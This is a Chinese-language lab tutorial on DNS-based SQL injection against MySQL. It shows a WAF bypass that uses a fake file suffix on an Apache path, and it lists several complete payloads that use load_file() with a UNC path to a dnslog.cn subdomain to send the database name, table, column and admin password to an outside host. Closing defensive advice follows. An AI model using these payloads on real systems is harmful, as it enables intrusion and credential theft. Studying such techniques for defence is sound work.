渗透测试基础-MYSQL数据库之DNS注入
只为对所学知识做一个简单的梳理,如果有表达存在问题的地方,麻烦帮忙指认出来。我们一起为了遇见更好的自己而努力💪!
WAF【安全应用防火墙】的黑白名单
在我们现在的网站中,像这样的应用防火墙的保护,它名叫WAF
。我们这次的靶场也有。
进入我们的靶场页面,在页面的最下面,有一行小字,悄悄告诉我们。这里需要一个id传参,我们传参去尝试。
传参id=1
网页没有发生改变,继续传统手艺,and 1=1
试试
在后面添加and 1=1
时,招到了网站服务器里面应用防火墙的阻拦。
这里就要谈一下它的部分机制了,黑白名单机制。
黑名单—这些不可访问,其他都可
白名单—只能这些访问,其他都不可
这里要注意的是,如果在传参时,在里面添加
.txt .png .gif
有这样类似的文件后缀时,是不会被阻拦的,因为在有些时候,在正常的访问中,是也会带入类似这样的传参,它不能一股脑全部给封锁了,那会影响网站的正常工作,虽然可以将安全提升的一个较高的地步,但是随之带来的是失去了大多数原本该有的用户体验,这在某些时候是得不偿失的。所以会将这些看似安全的传参给加入到白名单中,给它做一下放行。在也是无意中就满足了我们一个核心条件。
Apache中间件的独有特性
Apache
和我们了解的WINDOWS
的IIS
差不多是一样的东西,都是搭建网络的一种工具。我们这里想要说的是,Apache
存在一个专属的特性,其他中间件是没有的:
当它收到一个它无法识别的目录时,就会往前一位解析,有些网站设置过不能这样,有些默认设置就是这样的。比如下面这个域名。
http://www.baidu.com/1.php/1.gif?id=1
当Apache
无法解析1.gif
时,它就会默认往前面一位去解析,那就是1.php
这样,当我遇到前面靶场对我们的传参阻拦时,可将刚刚上面说的方式结合起来使用,这样就可绕过阻拦。
index3.php/123.txt?id=1%20and%201=1
在后面加上一个123.txt
就逃过了WAF
的阻拦,因为Apache
不识别123.txt
是什么东西,然后Apache
就会主动去解析前面一个正确的页面,这就照成了绕过WAF的效果。
DNS及网站应用
DNS域名系统是互联网的一项服务。它作为将域名
和IP地址
相互映射的一个分布式数据库
,能够使人更方便地访问互联网。我们先来介绍一个DNS注入
要使用的主要网站:http://dnslog.cn/
左边⬅️为获取新域名,右边➡️为刷新。我们先来尝试一下这个网站的基本功能。
点击获得了一个新域名,然后用本机ping
了一下这个域名,点击刷新之后,网页显示了我的出口ip
和访问的时间
,很简单美观的一个工具。
MYSQL数据库的文件读取
然后在来了解一个知识,就是数据库可以用load_file()
函数,读取文件内容,当然这个能读取文件内容,是有一些条件的,一个不满足都不可以。
条件1.文件必须位于服务器主机上
条件2.必须指定完整路径的文件
条件3.必须有file权限
条件4.该文件所有字节可读,但是内容必须小于max_allowed_packer
(限制server
接受的数据包大小函数,默认1MB
)
条件5.mysql配置文件中,必须要有 secure_file_priv=
这条配置才可
以上有一条不满足,函数返回NULL
进入网站服务器的C
盘中创建一个2020.txt
文件在里面写下一句话。
然后进入MYSQL数据库
,键入
select load_file('C://2020.txt');
看能否得到数据,在这要注意的是,我是adminstrator
的身份登录的服务器,所以在明面上,我已经满足了前4
个条件
语句并没有显示我写在2020.txt
文件中的语句。既然我这前四条都满足,那就看一下,第五条的条件,进去MYSQL
的配置文件中,查看配置文件。
配置文件的末尾并没有看到我们第5
个条件需要存在的语句,将语句加入到里面,然后重启一下phpstudy
,然后再次尝试。
UNC路径
NUC路径
是WINDOWS
下的一个SMB服务
(Linux默认情况下是不支持这个的,要使用的话,得开启这个服务才可以),我们可以用它其请求一些文件或数据,比如用作共享文件的时候,可采用这样的语句:
指定一个服务器的名字,然后去访问这个服务器下的某个文件
//服务器名字/文件名(这里的文件名可随便填写,但是是必须要有的)
但其实它支持的并非就 服务器名 这一种指定模式,它还可以指定 域名 和 IP
既然可以写域名
,那就会用到DNS解析
,配合前面的一些知识,我们的测试语句就出来了。
测试语句:
and load_file(concat(‘//‘,(select database()),’.dnslog网站域名/abc’))
条件 获取文件内容(UNC路径+获取的表名+.DNSlog域名+abc
)
进入DNS注入测试靶场尝试一下。
DNS注入靶场演练
现在DNSlog
网站获取新域名,将域名插入到刚刚的测试语句中,然后带入网站中尝试。
测试语句:
and load_file(concat(‘//‘,(select database()),’.veklbf.dnslog.cn/abc’))
前面用1.txt
绕过安全狗,后面的语句也正常得到执行
这里也得到了库名,有了库名,就获得表名。
测试语句:
and load_file(concat('//',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.veklbf.dnslog.cn/abc'))
admin
的表名出现了,一般flag
都放在admin
表里,接着找字段
测试语句:
and load_file(concat('//',(select column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1),'.veklbf.dnslog.cn/abc'))
字段名加表名查数据
测试语句:
and load_file(concat('//',(select password from admin limit 0,1),'.veklbf.dnslog.cn/abc'))
漏洞总结
DNS注入,可以看到有很多细节需要注意,但凡文中有一个东西不满足,这里的DNS注入就实现不了。所以我们的防护方法有:1.MYSQL
配置文件中,应加上secure_file_priv=
当然如果非要使用数据库读取功能的,那最后用完了就及时将其关闭;2.然后及时更新Apache版本
,不要处于危险的版本中;3.如果不是必要的话,可将服务器设置不可访问外网,这样就不存在服务器去访问DNSlog
站点了;最后就是SQL注入
的关键,过滤特定函数,符号,这样就能有效降低服务器在这方面的危险性。
《最好的防御,是明白其怎么实施的攻击》